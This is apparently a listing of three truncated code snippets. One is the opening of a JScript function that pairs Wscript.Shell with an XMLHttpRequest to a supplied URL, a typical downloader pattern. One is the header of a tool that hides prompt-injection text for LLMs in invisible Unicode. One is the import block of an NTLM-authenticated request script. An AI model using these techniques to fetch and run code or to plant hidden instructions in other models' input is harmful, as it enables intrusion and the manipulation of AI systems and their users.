Shadow0ps

// Create a new ActiveXObject for Wscript.Shell
var shell = new ActiveXObject("Wscript.Shell");

// Define the Main function with a parameter for the URL
function Main(url) {
  // Create a new XMLHttpRequest object
  var request = new XMLHttpRequest();

  // Define an event handler for when the request state changes
  request.onreadystatechange = function () {

Shadow0ps

#This script helps generate unicode which is essentially hidden or "invisible" but is easily read by LLM's especially those that do not rely on a UI or Prescreening of prompts via API submission.
#This wont be published until someone else discovers it as its too "valuable" to threat actors to publish given currently available mitigations.
# V1.0: TLP RED! Do Not Distribute! Category: Hidden Injection Prompt! - 09/2023 - ShadowOpz
# V2.0: TLP RED! Feature update: Added invisible clipboard functionality.
# V3.0: Public Disclosure from Twitter discovered. Notes below.
# V3.0 Notes: Released to public Gist 01/12/2024 after public disclosure from Twitter.
# Kudos to @rezo_ and @goodside for the discovery and their pyperclip version.

testanull

import requests
import time
import sys
from base64 import b64encode
from requests_ntlm2 import HttpNtlmAuth
from urllib3.exceptions import InsecureRequestWarning
from urllib import quote_plus

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)